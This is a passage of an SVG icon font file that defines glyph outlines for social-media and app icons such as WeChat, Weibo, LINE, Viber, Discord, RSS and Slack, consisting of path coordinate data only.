      horiz-adv-x="300" d="M189.1296372341736 127.7152420408163L158.3965786793711 158.4088010204082L167.6895793635219 167.7144453061225L189.1296372341736 146.1639030612245L210.5696957162385 167.7144453061225L219.8650839683078 158.4088010204082zM189.1296372341736 127.7152420408163M228.2600717509506 25.91757C188.6591359466091 25.9630102040816 156.5671165314734 58.0986924489796 156.5217380671078 97.7558993877551V202.2441006122449C156.5217380671078 205.8506057142857 153.6008076521684 208.7755102040816 149.9992027173967 208.7755102040816S143.4790561584303 205.8506057142857 143.4790561584303 202.2441006122449V97.7558993877551C143.4790561584303 58.0819518367347 111.3583761456632 25.91757 71.7383336838428 25.91757S0 58.0819518367347 0 97.7558993877551V163.0604271428571H65.2181871248764V97.7558993877551C65.2181871248764 94.1493942857143 68.1367287490711 91.2244897959184 71.7383336838428 91.2244897959184S78.2608690335539 94.1493942857143 78.2608690335539 97.7558993877551V202.2441006122449C78.2608690335539 241.9180481632653 110.3791602555763 274.08243 149.9992027173967 274.08243S221.7399251919842 241.9180481632653 221.7399251919842 202.2441006122449V97.7558993877551C221.7399251919842 94.1493942857143 224.6584668161789 91.2244897959184 228.2600717509506 91.2244897959184S234.7826071006616 94.1493942857143 234.7826071006616 97.7558993877551V163.0604271428571H300.0007942255381V97.7558993877551C299.9554157611725 58.0986924489796 267.8633963460367 25.9630102040816 228.2600717509507 25.91757zM149.9992027173967 221.8359373469388C160.8064057010434 221.8359373469388 169.5644199757852 213.0660073469388 169.5644199757852 202.2441006122449V97.7558993877551C169.5644199757852 65.2949620408163 195.8432391586736 38.9803891836734 228.2600717509506 38.9803891836734S286.955723526116 65.2949620408163 286.955723526116 97.7558993877551V150H247.825289009339V97.7558993877551C247.825289009339 86.9339926530612 239.0672747345973 78.1640626530612 228.2600717509505 78.1640626530612C217.4552569466354 78.1640626530612 208.694854492562 86.9339926530612 208.694854492562 97.7558993877551V202.2441006122449C208.694854492562 234.7050379591837 182.4160353096736 261.0196108163265 149.9992027173966 261.0196108163265S91.3035509422312 234.7050379591837 91.3035509422312 202.2441006122449V97.7558993877551C91.3035509422312 86.9339926530612 82.5455366674895 78.1640626530612 71.7383336838428 78.1640626530612C60.9335188795276 78.1640626530612 52.1731164254543 86.9339926530612 52.1731164254543 97.7558993877551V150H13.0426819086773V97.7558993877551C13.0426819086773 65.2949620408163 39.3215010915658 38.9803891836734 71.7383336838427 38.9803891836734S130.4339854590082 65.2949620408163 130.4339854590082 97.7558993877551V202.2441006122449C130.4339854590082 213.0660073469388 139.1943879130815 221.8359373469388 149.9992027173966 221.8359373469388zM149.9992027173967 221.8359373469388" />
    <glyph glyph-name="067-wechat"
      unicode="&#xF143;"
      horiz-adv-x="300" d="M300 118.3341796875C300 140.469140625 289.8087890625 161.183203125 271.3048828125 176.661328125C256.8890625 188.7193359375 238.7396484375 196.4455078125 219.10078125 199.0705078125C209.025 242.6759765625 163.7390625 274.7613281250001 110.5921875 274.7613281250001C81.3416015625 274.7613281250001 53.7732421875 265.1765625 32.9671875 247.7724609375C11.7076171875 229.98984375 0 206.211328125 0 180.816796875C0 153.675 13.458984375 128.389453125 37.158984375 110.555859375L28.86328125 83.347265625C27.8044921875 79.875 28.9892578125 76.1091796875 31.845703125 73.8685546875C33.42890625 72.62578125 35.34609375 71.9947265625 37.271484375 71.9947265625C38.8189453125 71.9947265625 40.3716796875 72.4025390625 41.7615234375 73.2287109375L73.723828125 92.230078125C85.571484375 88.6716796875001 97.9541015625 86.869921875 110.5927734375 86.869921875C112.1490234375 86.869921875 113.7087890625 86.90390625 115.2662109375 86.9583984375C120.1283203125 76.9675781250001 127.3470703125 67.81875 136.6875 60.005859375C154.7390625 44.90625 178.64296875 36.5912109375 203.996484375 36.5912109375C215.2669921875 36.5912109375 226.25390625 38.2259765625 236.7216796875 41.4544921875L260.7416015625 26.558203125C262.16484375 25.6757812500001 263.7708984375 25.238671875 265.3728515625 25.238671875C267.2419921875 25.238671875 269.1064453125 25.8345703125 270.6667968750001 27.01171875C273.5642578125001 29.1978515625 274.8199218750001 32.940234375 273.82734375 36.4318359375L267.8912109375001 57.3076171875C288.38203125 72.8126953125 300 94.7390625 300 118.3341796875zM75.4283203125 110.1322265625C72.9990234375 110.9490234375 70.3359375 110.6654296875 68.133984375 109.35703125L52.30078125 99.9439453125L55.824609375 111.5009765625C56.958984375 115.2193359375 55.515234375 119.240625 52.275 121.388671875C30.2244140625 136.011328125 17.578125 157.6716796875 17.578125 180.816796875C17.578125 222.9251953125 59.30390625 257.1832031250001 110.5921875 257.1832031250001C153.4810546875 257.1832031250001 190.1935546875 233.240625 200.6419921875 200.021484375C176.5400390625 199.3212890625 153.93984375 191.0923828125 136.6869140625 176.661328125C118.1830078125 161.183203125 107.9923828125 140.469140625 107.9923828125 118.3341796875C107.9923828125 113.633203125 108.45703125 108.9966796875 109.358203125 104.459765625C97.6658203125 104.5857421875 86.2564453125 106.4888671875 75.4283203125 110.1322265625zM252.9140625 68.2470703125C249.7001953125 66.1400390625 248.227734375 62.1890625 249.27890625 58.49296875L250.7080078125 53.464453125L242.49609375 58.5568359375C241.088671875 59.4298828125 239.4814453125001 59.8763671875 237.863671875 59.8763671875C236.8787109375 59.8763671875 235.890234375 59.7111328125 234.93984375 59.375390625C225.1494140625 55.920703125 214.737890625 54.1693359375 203.9953125 54.1693359375C168.868359375 54.1693359375 139.0611328125 73.1625 129.108984375 99.2560546875C129.08671875 99.3134765625 129.0685546875 99.37265625 129.045703125 99.42890625C126.7875 105.4078125 125.569921875 111.7564453125 125.569921875 118.3341796875C125.569921875 153.7142578125 160.7513671875 182.4978515625 203.9953125 182.4978515625C206.4005859375001 182.4978515625 208.77890625 182.403515625 211.1302734375001 182.2294921875C211.1337890625 182.2294921875 211.137890625 182.22890625 211.1414062500001 182.22890625C251.0490234375001 179.265234375 282.4218750000001 151.7431640625 282.4218750000001 118.3341796875C282.4218750000001 98.7955078125 271.6669921875 80.5400390625 252.9140625000001 68.2470703125zM76.787109375 216.638671875C74.47265625 216.638671875 72.205078125 215.701171875 70.5703125 214.060546875C68.935546875 212.42578125 67.998046875 210.1640625 67.998046875 207.849609375S68.935546875 203.267578125 70.5703125 201.6328125S74.47265625 199.060546875 76.787109375 199.060546875S81.36328125 199.998046875 82.998046875 201.6328125C84.6392578125 203.267578125 85.576171875 205.53515625 85.576171875 207.849609375C85.576171875 210.158203125 84.638671875 212.42578125 82.998046875 214.060546875C81.3626953125 215.701171875 79.095703125 216.638671875 76.787109375 216.638671875zM144.404296875 199.060546875C146.7181640625 199.060546875 148.98046875 199.998046875 150.615234375 201.6328125C152.255859375 203.267578125 153.193359375 205.53515625 153.193359375 207.849609375S152.2552734375 212.42578125 150.615234375 214.060546875C148.98046875 215.701171875 146.712890625 216.638671875 144.404296875 216.638671875C142.08984375 216.638671875 139.822265625 215.701171875 138.1875 214.060546875C136.552734375 212.42578125 135.615234375 210.1640625 135.615234375 207.849609375S136.552734375 203.267578125 138.1875 201.6328125S142.08984375 199.060546875 144.404296875 199.060546875zM176.9765625 148.41796875C174.662109375 148.41796875 172.3998046875 147.48046875 170.7650390625 145.845703125C169.1244140625 144.2109375 168.1875 141.943359375 168.1875 139.62890625C168.1875 137.3203125 169.125 135.052734375 170.7650390625 133.41796875C172.3998046875 131.783203125 174.6615234375 130.83984375 176.9765625 130.83984375S181.5580078125 131.783203125 183.1927734375 133.41796875S185.765625 137.3203125 185.765625 139.62890625C185.765625 141.943359375 184.8275390625 144.2109375 183.1927734375 145.845703125S179.291015625 148.41796875 176.9765625 148.41796875zM231.01171875 148.41796875C228.697265625 148.41796875 226.4296875 147.48046875 224.794921875 145.845703125S222.22265625 141.943359375 222.22265625 139.634765625C222.22265625 137.3203125 223.16015625 135.052734375 224.794921875 133.41796875C226.4361328125 131.783203125 228.697265625 130.83984375 231.01171875 130.83984375S235.587890625 131.783203125 237.228515625 133.41796875C238.8632812500001 135.052734375 239.80078125 137.3203125 239.80078125 139.634765625C239.80078125 141.943359375 238.86328125 144.2109375 237.228515625 145.845703125C235.5873046875 147.48046875 233.326171875 148.41796875 231.01171875 148.41796875z" />
    <glyph glyph-name="068-sina-weibo"
      unicode="&#xF144;"
      horiz-adv-x="300" d="M46.225 41.7625C131.9 -5.5875 266.6 37.8375 275.025 104.975C279 136.6875 261.4 147.6125 236.175 159.825C239.275 170.925 240.7125 185.5875 231.75 195.7875C215.475 214.275 187.9375 205.925 165.6875 200.0375C170.65 243.4625 117.95 264.45 47.4875 195.5C-9.325 139.9375 -22.175 79.575 46.225 41.7625zM60.6 182.1C89.7625 210.6375 115.8625 221.0875 131.2375 221.0875C148.775 221.0875 149.95 207.4625 144.4375 190.975C142.2625 184.5375 147.5125 178.1375 153.9375 178.6375000000001C159.85 179.025 166.95 180.95 174.4875 182.9875C208.9625 192.3000000000001 229.0625 191.925 215.9875 158.5125C212.3375 149.2125 221.975 145.8375 230.3625 141.8250000000001C320.6875 98.6 161.3 -0.3874999999999 55.3 58.175C-2.0125 89.85 13.6 136.125 60.6 182.1zM122.95 48.875C158.0125 54.475 182.925 82.5125 178.475 111.375C173.6875 142.625 139.2375 158.8625 106.75 153.6750000000001C71.6875 148.0750000000001 46.7875 120.0375 51.225 91.175C56.0125 59.9250000000001 90.4875 43.6875000000001 122.95 48.8750000000001zM109.7 135.15C131.7375 138.675 156.825 128.9 159.95 108.525C162.8125 89.8125 144.9 71.3625 120 67.3875C98.2 63.925 72.9 73.5375 69.75 94C66.8875 112.7125 84.8 131.1750000000001 109.7 135.15zM211.5625 213.4C229 213.925 244.075 206.775 243.0625 187.925C242.7875 182.75 246.75 178.325 251.9125 178.05C252.0875 178.05 252.2625 178.0375 252.4375 178.0375C257.3875 178.0375 261.5250000000001 181.9125 261.7875 186.9C263.45 217.725 238.0625 233.9500000000001 210.7 232.1250000000001C205.55 231.8750000000001 201.575 227.5000000000001 201.8 222.35C202.0125 217.1875 207 213.2625000000001 211.5625 213.4zM203.525 271.55C198.4 270.8 194.85 266.05 195.5875 260.925C196.3375 255.7875 201.2125 252.2375 206.2125 252.9875C256.0125 258.8 294.8 214.175 277.65 167.8375C275.7875 163.0125 278.1875 157.5875 283.0125 155.7125C287.8125 153.8625 293.2625 156.225 295.1375 161.0875C318.7125 222.075 263.8375 280.7750000000001 203.525 271.55z" />
    <glyph glyph-name="069-line-1"
      unicode="&#xF145;"
      horiz-adv-x="300" d="M97.8260862919424 134.6938775510204H58.6956517751654V200.0007973469388H71.7383336838428V147.7543046938776H97.8260862919424zM97.8260862919424 134.6938775510204M208.6948544925621 173.8775510204082H241.3051424503727V160.817123877551H208.6948544925621zM208.6948544925621 173.8775510204082M241.3051424503727 134.6938775510204H202.1747079335958V200.0007973469388H241.3051424503727V186.9379781632653H215.2173898422732V147.7543046938776H241.3051424503727zM241.3051424503727 134.6938775510204M110.8687682006198 200.0007973469388H123.9138389000419V134.6938775510204H110.8687682006198zM110.8687682006198 200.0007973469388M189.1296372341736 132.0009563265306L149.9992027173967 171.1846297959184V134.6938775510204H136.9565208087193V202.6937179591837L176.0869553254962 163.5100444897959V200.0007973469388H189.1296372341736zM189.1296372341736 132.0009563265306M134.429665662842 1.4684314285714L144.2122742920362 36.8973214285714C63.9141574462353 40.7358097959183 0 97.796556122449 0 167.3461414285714C0 239.347098367347 67.2554343257104 297.9599810204082 149.9992027173967 297.9599810204082C232.7453598998277 297.9599810204082 300.0007942255381 239.347098367347 300.0007942255381 167.3461414285714C300.0007942255381 94.0417726530612 239.346710058786 30.1219708163265 145.5163033592643 4.4889985714286zM149.9992027173967 284.8971618367347C74.5111878090273 284.8971618367347 13.0426819086774 232.1627871428572 13.0426819086774 167.3461414285714C13.0426819086774 102.5294963265306 77.0380429549046 49.7951210204081 152.6908532425893 49.7951210204081H161.2506357931343L153.1804611876328 20.4073659183673C234.8638100892404 46.121651632653 286.955723526116 102.9384563265306 286.955723526116 167.3461414285714C286.955723526116 231.7562179591837 225.4896064165109 284.8971618367347 149.9992027173967 284.8971618367347zM149.9992027173967 284.8971618367347" />
    <glyph glyph-name="070-viber-1"
      unicode="&#xF146;"
      horiz-adv-x="300" d="M182.4566672064777 177.1715578907189H169.4996204453441C169.4996204453441 191.4787712089633 164.3993550607287 196.5698844415419 150.0664220647773 196.5698844415419V209.5013132768108C171.5254931174089 209.5013132768108 182.4566672064777 198.5897545919729 182.4566672064777 177.1715578907189zM182.4566672064777 177.1715578907189M208.3660172064777 177.1715578907189H195.4113425101214C195.4113425101214 205.9446373780899 178.8935981781376 222.4351093141166 150.0664220647773 222.4351093141166V235.3665375431878C186.0197368421053 235.3665375431878 208.3660172064777 213.0579885693341 208.3660172064777 177.1715578907189zM208.3660172064777 177.1715578907189M234.2777392712551 177.1715578907189H221.3230639676113C221.3230639676113 219.6859081564002 192.6571991902834 248.2979663784567 150.0664220647773 248.2979663784567V261.2317624157626C200.4309528340081 261.2317624157626 234.2777392712551 227.4457122171368 234.2777392712551 177.1715578907189zM234.2777392712551 177.1715578907189M85.2906753036437 0.000806849145V44.6155375948157L71.4440471659919 46.232853672664C38.3255313765182 50.2749611755629 12.4161813765182 77.4307239788878 9.8233487854251 110.8118529028939C8.366808097166 130.5345897925804 7.5578817813765 150.7403910844079 7.5578817813765 170.7046601751649C7.5578817813765 190.6689286597242 8.366808097166 210.7942190157956 9.8233487854251 230.5974668412382C12.4161813765182 263.9785957652443 38.8118356275304 291.2172373125599 72.5779670040486 295.3398551450172C123.9957619433198 301.5533816183276 175.9757720647773 301.5533816183276 227.3959384615385 295.3398551450172C261.2403528340081 291.2172373125599 287.6383791497976 263.9785957652443 290.2288396761134 230.5974668412382C291.768408097166 210.8770977597863 292.4966787449393 190.6689286597242 292.4966787449393 170.7046601751649C292.4966787449393 150.7403910844079 291.6877530364373 130.5345897925804 290.2288396761134 110.8118529028939C287.7190348178138 77.5136027228785 261.8073127530364 50.3554721113189 228.7718246963563 46.232853672664C205.6379684210527 43.3770944762154 182.364151214575 41.7858255013432 159.0547506072875 41.4637829707143zM150.0664220647773 287.0946194801026C124.7074263157895 287.0898832574357 99.3697809716599 285.5507090947135 74.1958184210526 282.4889372455043C46.5049342105263 279.0932832182956 24.8845518218624 256.8652445740002 22.7803961538462 229.5460926971262C21.2408271255061 210.1477661463032 20.5125570850202 190.3468861290953 20.5125570850202 170.7046601751649C20.5125570850202 151.0648014232714 21.2408271255061 131.1810432682705 22.7803961538462 111.7827167174475C24.8964133603239 84.5203952691927 45.8929020242915 62.4841618220525 73.0642712550607 59.0032606364208C79.4858617408907 58.1957865016139 85.9382908906883 57.4948704055392 92.414441902834 56.9028807626291L98.3260056680162 56.336938222695V22.0654564198913L155.6553643724696 54.3147008702271H157.2732157894737C180.6632720647773 54.5751761433722 204.0201163967611 56.1403974090706 227.2322556680162 59.0032606364207C254.197241902834 62.3160365258365 275.2482923076924 84.5440751701319 277.3548206477733 111.7022057816915C278.8920170040487 131.1005323325144 279.6226591093118 150.984291093713 279.6226591093118 170.6241492394088C279.6226591093118 190.2663757995369 278.8920170040487 210.0672552105471 277.3548206477733 229.5460926971262C275.2482923076924 256.8652445740001 253.6302819838057 279.0932832182956 225.8563700404859 282.4889372455043C200.7085020242915 285.5436056700096 175.3993232793523 287.0827792265342 150.0664220647773 287.0946194801026zM150.0664220647773 287.0946194801026M175.4918392712551 86.6468234583559H169.4996204453441C108.7708755060729 86.6468234583559 59.3789538461538 135.9501139702202 59.3789538461538 196.5698844415419V202.5513511591157C59.3481145748988 212.8661839783766 63.4591663967611 222.764255875647 70.7964321862348 230.0315243013041L76.1410360323887 235.3665375431878C84.4793775303644 243.6922841438584 99.0542763157895 243.6922841438584 107.3949898785425 235.3665375431878L124.1570720647773 218.6345340122882C128.3179402834008 214.5095477653987 130.6498293522267 208.8903793494307 130.6332236842105 203.0367827632937C130.614245951417 197.1879223998236 128.2871016194332 191.5829614394609 124.1570720647773 187.4366637060645L122.6175036437247 185.8998579577745C119.4458502024292 182.724423432734 117.6690601214575 178.42184065669 117.6785489878543 173.9392929370592C117.6951546558705 169.4591130256631 119.4695720647773 165.1660020887552 122.6175036437247 161.9763601081093L134.763252631579 149.852406013845C141.0804655870445 143.5465289574077 152.4955718623482 143.5465289574077 158.8127848178137 149.852406013845L160.3499811740891 151.3868439539003C168.6906947368421 159.7125905545709 183.2655935222672 159.7125905545709 191.6063070850202 151.3868439539003L208.3660172064777 134.5766972954793C216.9961408906883 125.9596920960205 216.9961408906883 111.9934649866773 208.3660172064777 103.3764591810209L203.0237854251012 98.0414459391372C195.7434528340081 90.7197142868978 185.8275874493927 86.6160401327129 175.4918392712551 86.6468234583559zM91.7668269230769 228.8996398276338C89.3400491902834 228.904375444103 87.0081607287449 227.9453518831179 85.2906753036437 226.2333168077104L79.9460714574899 220.8983035658267C75.0498163967611 216.0463535136886 72.3075340080972 209.4373782110924 72.3336285425101 202.5513511591157V196.5698844415419C72.3787008097166 143.0208421884505 115.8566866396761 99.6232430748732 169.4996204453441 99.5782516874271H175.4918392712551C182.3641512145749 99.5711482627233 188.9517965587045 102.3085091668712 193.7911184210526 107.1746666746146L199.1357222672065 112.509680522696C200.8579518218624 114.2240828001404 201.8234441295547 116.5494196111626 201.8234441295547 118.9765782382501S200.8579518218624 123.7290736763598 199.1357222672065 125.4434765600019L182.4566672064778 142.1731122826668C178.8271761133604 145.6232301426555 173.129112145749 145.6232301426555 169.4996204453442 142.1731122826668L167.9624240890689 140.6386743426115C156.2650238866397 128.9717369413143 137.3110135627531 128.9717369413143 125.6136133603239 140.6386743426115L113.4678643724697 152.7626284368758C107.8670611336033 158.3936371064123 104.7238736842106 166.0042595492051 104.7238736842106 173.9392929370592C104.7120127530365 181.8506464239741 107.8575722672065 189.4423257946924 113.4678643724697 195.033078693252L115.0074327935223 196.569884441542C116.713056680162 198.2913913560855 117.6738042510122 200.6143597526754 117.6785489878543 203.0367827632937C117.6832931174089 205.459205773912 116.7225455465587 207.7869097869711 115.0074327935223 209.5013132768108L98.2453506072875 226.2333168077104C96.5254931174089 227.9453518831179 94.1959767206478 228.904375444103 91.766826923077 228.8996398276338zM91.7668269230769 228.8996398276338" />
    <glyph glyph-name="071-discord-1"
      unicode="&#xF147;"
      horiz-adv-x="300" d="M108.4728515625 180.9708984375C91.125 180.9708984375 77.0109375 165.421875 77.0109375 146.309765625S91.125 111.6486328125 108.4728515625 111.6486328125C125.8212890625 111.6486328125 139.9359375 127.19765625 139.9359375 146.309765625S125.8212890625 180.9708984375 108.4728515625 180.9708984375zM108.4728515625 129.2267578125C100.817578125 129.2267578125 94.5890625 136.890234375 94.5890625 146.309765625S100.817578125 163.3927734375 108.4728515625 163.3927734375C116.1287109375 163.3927734375 122.3578125 155.729296875 122.3578125 146.309765625S116.1287109375 129.2267578125 108.4728515625 129.2267578125zM191.5271484375 180.9708984375C174.1787109375 180.9708984375 160.0640625 165.421875 160.0640625 146.309765625S174.1787109375 111.6486328125 191.5271484375 111.6486328125C208.875 111.6486328125 222.9890625 127.19765625 222.9890625 146.309765625S208.875 180.9708984375 191.5271484375 180.9708984375zM191.5271484375 129.2267578125C183.8712890625 129.2267578125 177.6421875 136.890234375 177.6421875 146.309765625S183.8712890625 163.3927734375 191.5271484375 163.3927734375C199.182421875 163.3927734375 205.4109375 155.729296875 205.4109375 146.309765625S199.182421875 129.2267578125 191.5271484375 129.2267578125zM299.9865234375 87.5525390625C299.7791015625 91.2685546875 294.5232421875 179.1685546875 261.144140625 231.75C260.4615234375 232.8251953125 259.552734375 233.73984375 258.4822265625 234.42890625C217.2087890625 261.0064453125001 189.094921875 260.9302734375 187.9189453125 260.9349609375C184.509375 260.88984375 181.573828125 258.90703125 180.1546875 256.041796875L165.9755859375 228.86953125C160.6939453125 229.215234375 155.361328125 229.39453125 150 229.39453125C144.63984375 229.39453125 139.306640625 229.215234375 134.025 228.86953125L119.86171875 256.01015625C118.4490234375 258.891796875 115.503515625 260.8892578125 112.0810546875 260.934375C110.898046875 260.94140625 82.7876953125 261.003515625 41.5189453125 234.4283203125C40.4484375 233.738671875 39.5396484375 232.824609375 38.85703125 231.7494140625C5.47734375 179.1685546875 0.2208984375 91.2685546875 0.0134765625 87.5525390625C-0.1166015625 85.2228515625 0.6849609375 82.937109375 2.241796875 81.1986328125C3.78984375 79.4712890625 40.5626953125 39.064453125 91.391015625 39.064453125C91.618359375 39.064453125 91.8521484375 39.065625 92.080078125 39.066796875C94.7513671875 39.0861328125 97.26796875 40.3189453125 98.9208984375 42.416015625L122.366015625 72.1693359375C131.370703125 71.141015625 140.6197265625 70.60546875 150 70.60546875C159.380859375 70.60546875 168.6298828125 71.141015625 177.633984375 72.1693359375L201.0791015625 42.416015625C202.73203125 40.3189453125 205.2486328125 39.0861328125 207.919921875 39.066796875C208.1513671875 39.0650390625 208.378125 39.064453125 208.608984375 39.064453125C259.4326171875 39.064453125 296.211328125 79.4712890625 297.758203125 81.1986328125C299.314453125 82.937109375 300.116015625 85.2228515625 299.9865234375 87.5525390625zM212.1837890625 56.7251953125L197.5259765625 75.3275390625C219.8384765625 79.9177734375 239.865234375 87.7283203125 255.496875 98.216015625C259.528125 100.9201171875 260.60390625 106.38046875 257.89921875 110.4111328125C255.195703125 114.4423828125 249.73359375 115.5193359375 245.7041015625 112.8134765625C222.3732421875 97.16015625 187.4900390625 88.18359375 150 88.18359375C112.51171875 88.18359375 77.628515625 97.16015625 54.2958984375 112.81171875C50.2640625 115.5158203125 44.8048828125 114.439453125 42.10078125 110.4087890625C39.3966796875 106.3775390625 40.4724609375 100.9177734375 44.5037109375 98.213671875C60.1365234375 87.727734375 80.1626953125 79.9166015625 102.474609375 75.326953125L87.8173828125 56.72578125C53.403515625 58.3224609375 26.016796875 82.388671875 17.8388671875 90.375C19.2041015625 107.4052734375 26.2880859375 177.643359375 52.68046875 220.6986328125C78.5970703125 237.0580078125 98.155078125 241.6078125 106.890234375 242.872265625L115.229296875 226.8931640625001C95.6232421875 224.0302734375 77.2546875 218.769140625 61.6083984375 211.402734375C57.216796875 209.335546875 55.3330078125 204.0990234375 57.4001953125 199.7068359375C59.46796875 195.3158203125 64.7044921875 193.4326171875 69.0955078125 195.4986328125C91.4466796874999 206.021484375 120.179296875 211.81640625 150 211.81640625C179.8224609375 211.81640625 208.5556640625 206.0203125 230.9056640625 195.4962890625C232.115625 194.9267578125 233.3888671875 194.656640625 234.6439453125 194.656640625C237.9416015625 194.656640625 241.1033203125 196.5228515625 242.6015625 199.70390625C244.66875 204.094921875 242.7849609375 209.33203125 238.393359375 211.3998046875C222.746484375 218.766796875 204.3779296875 224.0291015625001 184.7701171875 226.8919921875L193.1091796875 242.8710937500001C201.84375 241.606640625 221.40234375 237.0568359375 247.3201171875 220.6974609375C273.6826171875 177.6873046875001 280.7900390625 107.3759765625 282.160546875 90.3591796875001C274.0037109375 82.3558593750001 246.7388671875 58.3095703125001 212.1837890625 56.7251953125001z" />
    <glyph glyph-name="072-rss"
      unicode="&#xF148;"
      horiz-adv-x="300" d="M299.9824180976382 28.554181562445C295.5986637754206 99.0458887651644 265.6625446873352 165.4937584246615 215.6596143702749 215.6842290335814C165.4925862978375 265.6631307507472 99.0447166383403 295.5992498388326 28.5530094356209 299.9830041610503C26.1267069096876 300.1295200140655 23.7590107249604 299.2797280665768 21.9890992205357 297.6153079763231C20.2191877161109 295.9567485201899 19.2170192814863 293.6359374084276 19.2170192814863 291.2096348824943V238.1122897497509C19.2170192814863 233.4999706968294 22.7802848268183 229.6729766160699 27.375021977378 229.3447811053156C79.3998710660494 225.593975268124 128.5530094356209 203.0246732696478 165.7856180038681 165.7862040672801C202.9654808650296 128.6063412061185 225.5992498388326 79.4414815683057 229.5200140655219 27.3463048701869C229.865791478638 22.7632889878685 233.686924925277 19.2176053448983 238.2875227099573 19.2176053448983H291.2090488190823C293.6353513450155 19.2176053448983 295.9561624567779 20.2197737795229 297.614721912911 21.9896852839477C299.2791420031648 23.7543222176639 300.1347945847741 26.1331536072203 299.9824180976382 28.554181562445zM246.2990095528337 36.7995077067338C240.42079352986 90.0550899607338 216.4332180741956 140.0052745707086 178.2218836078064 178.2224696712185C139.951942800211 216.4924104788139 89.9958975561156 240.421379593272 36.7989216433218 246.1472191291098V281.6919650706207C99.5311492703511 275.6262087557874 158.3308914024497 247.9757369747407 203.2233487663366 203.247377366231C247.9751509113287 158.3314774658618 275.6256226923754 99.5317353337631 281.6913790072087 36.7995077067338H246.2990095528337zM194.1159233429058 28.8823770731993C185.4421848444002 115.9538182031296 115.9526460763055 185.4433569712243 28.8812049463752 194.1170954697298C26.408017347477 194.3632421027955 23.9465510168201 193.5486139600305 22.1063119029479 191.8841938697767C20.2660727890758 190.219773779523 19.2170192814863 187.8520775947957 19.2170192814863 185.3671687276563V132.0940045712946C19.2170192814863 127.6985289808357 22.4638105843053 123.9770263142472 26.8182617359199 123.3851022680654C39.5123952411651 121.6503545683643 51.608744066108 117.8233604876047 62.767391431753 112.0857996835258C73.9318994315185 106.3482388794468 84.1528453378656 98.7001113520483 93.1078942741605 89.3348180273106C109.7052101037333 71.963898493817 120.172302643146 50.3440192228799 123.3839301412413 26.819433862744C123.9758541874231 22.4649827111293 127.6973568540117 19.2181914083104 132.0928324444705 19.2181914083104H185.3659966008323C187.8509054679717 19.2181914083104 190.2186016526989 20.2672449158999 191.8830217429527 22.107484029772C193.5474418332064 23.947137080232 194.3620699759714 26.408603410889 194.1159233429058 28.8823770731993zM139.5358377776476 36.7995077067338C137.1446990564379 48.9310203364004 133.0656977084921 60.5526577975737 127.404325147981 71.4182734571881C121.74295258747 82.2780284826818 114.510930082635 92.3817617066167 105.8196096817676 101.4774658618063C86.954228447518 121.2219422141476 63.1483326495927 134.3556232784388 36.7989216433218 139.5422844751803V175.3683408544805C107.806364648655 164.0690382699409 164.0684522065288 107.8069507120671 175.3677547910684 36.7995077067339H139.5358377776476zM44.1247142940866 88.2500146515853C19.7972220594268 88.2500146515853 0 68.4527925921584 0 44.1253003574986S19.7972220594268 0.000586063412 44.1247142940866 0.000586063412S88.2494285881733 19.7978081228388 88.2494285881733 44.1253003574986S68.4522065287464 88.2500146515853 44.1247142940866 88.2500146515853zM44.1247142940866 15.5781515559983C28.3830510461232 15.5781515559983 15.5775654925863 28.3836371095352 15.5775654925863 44.1253003574986S28.3830510461232 72.672449158999 44.1247142940866 72.672449158999S72.6718630955869 59.8669636054621 72.6718630955869 44.1253003574986S59.8663775420501 15.5781515559983 44.1247142940866 15.5781515559983z" />
    <glyph glyph-name="073-slack"
      unicode="&#xF149;"
      horiz-adv-x="300" d="M127.6267202838376 101.6303329341317L102.0350440518586 172.1299586826347L172.34967541318 197.7591688622754L197.941351645159 127.2595437125749zM118.3775609819682 164.4648203592814L135.278297524475 117.9968191616766L181.6782463898906 134.8428143712575L164.7775098473837 181.3108155688623zM118.3775609819682 164.4648203592814M137.2729391557639 -0.4046592814371C125.1906410556063 -0.4046592814371 114.3952836118859 7.1528814371258 110.2471758037747 18.5160928143713L100.9186048270641 44.3043598802396L70.5435249965425 33.287331736527C55.639766180057 27.8630239520958 39.1664524598743 35.5655874251497 33.7524246624397 50.4935443113773C28.3360607702727 65.4191616766467 36.0273438483307 81.9142964071857 50.9311032627417 87.3386041916168L81.2267708204966 98.3579712574851L64.4054465507564 144.8236341317365L38.6549463711695 135.483719760479C35.5135016648935 134.3235401197605 32.1945484386283 133.7294161676647 28.8475674569029 133.727077245509C14.8617174822579 133.6545658682635 2.8588310569415 143.6915233532934 0.4344299106705 157.4873688622755C-1.9899706376749 171.2832149700599 5.8694789731444 184.8194239520958 19.0425240394432 189.5349928143713L44.7930242190301 198.8749065868264L33.7921304998603 229.2150071856288C28.3757666076933 244.1406251497006 36.0670496857513 260.6380988023952 50.9708091001623 266.0624065868264C65.8769034134547 271.4843748502994 82.347881038905 263.7818113772455 87.764244931072 248.8561940119761L98.7651392481674 218.5956215568862L145.1650881135829 235.4416167664671L135.8365171368722 261.1503556886228C130.3991325775914 276.0783119760479 138.0740659821497 292.5921592814371 152.9778247986351 298.0375185628743C167.8815842130461 303.4828778443114 184.3712464108777 295.7966880239521 189.810967064891 280.8710706586827L199.1372025447946 255.082802994012L229.5122823753163 266.1021706586826C244.4160417897272 271.5241389221557 260.8893549119845 263.8215754491018 266.305718206226 248.8959580838324C271.7197466015861 233.9703407185629 264.0284635235281 217.4728670658683 249.1247047070426 212.0485592814371L218.8290365513621 201.0315305389222L235.729773093869 154.5635293413174L261.4802732734559 163.9057820359281C276.3863681846738 169.3300898203593 292.8573452121987 161.6251868263473 298.2737091043657 146.6995694610778S295.9964538237423 115.2764784431138 281.0926950072567 109.8545095808383L255.2627825549032 100.5122568862275L266.2636768719985 70.2540233532934C271.6800407641655 55.3260664670659 263.988757088182 38.830931736527 249.0849982716965 33.4066239520958C234.181239455211 27.9823167664671 217.7079263329537 35.6872191616766 212.2915624407867 50.6128371257485L201.2906687216169 80.8710706586826L154.8907192582759 64.0250748502994L164.219290832912 38.3163359281437C167.4821885482568 29.4910179640718 166.2232750493543 19.6248131736527 160.8512885861473 11.9035365269461C155.4769666261333 4.1822604790419 146.6692443232808 -0.416354491018 137.2729391557639 -0.4046592814371zM108.5725175645085 60.5913173652695L122.2850970728978 22.9088694610779C125.3004165806401 14.6168598802396 134.4561500309755 10.3457149700599 142.733680476891 13.3677958083833C151.0112109228065 16.387537724551 155.2761007463724 25.5566994011976 152.2607818365555 33.8463700598803L138.5482023281663 71.6106850299402L208.8628336894876 97.2398952095809L224.2500714371431 55.0032748502995C227.2653909448855 46.7136041916168 236.4211243952209 42.4424586826348 244.6986548411363 45.4622005988025S257.2434106074247 57.6511041916168 254.2257562008008 65.9407748502995L238.9202656247936 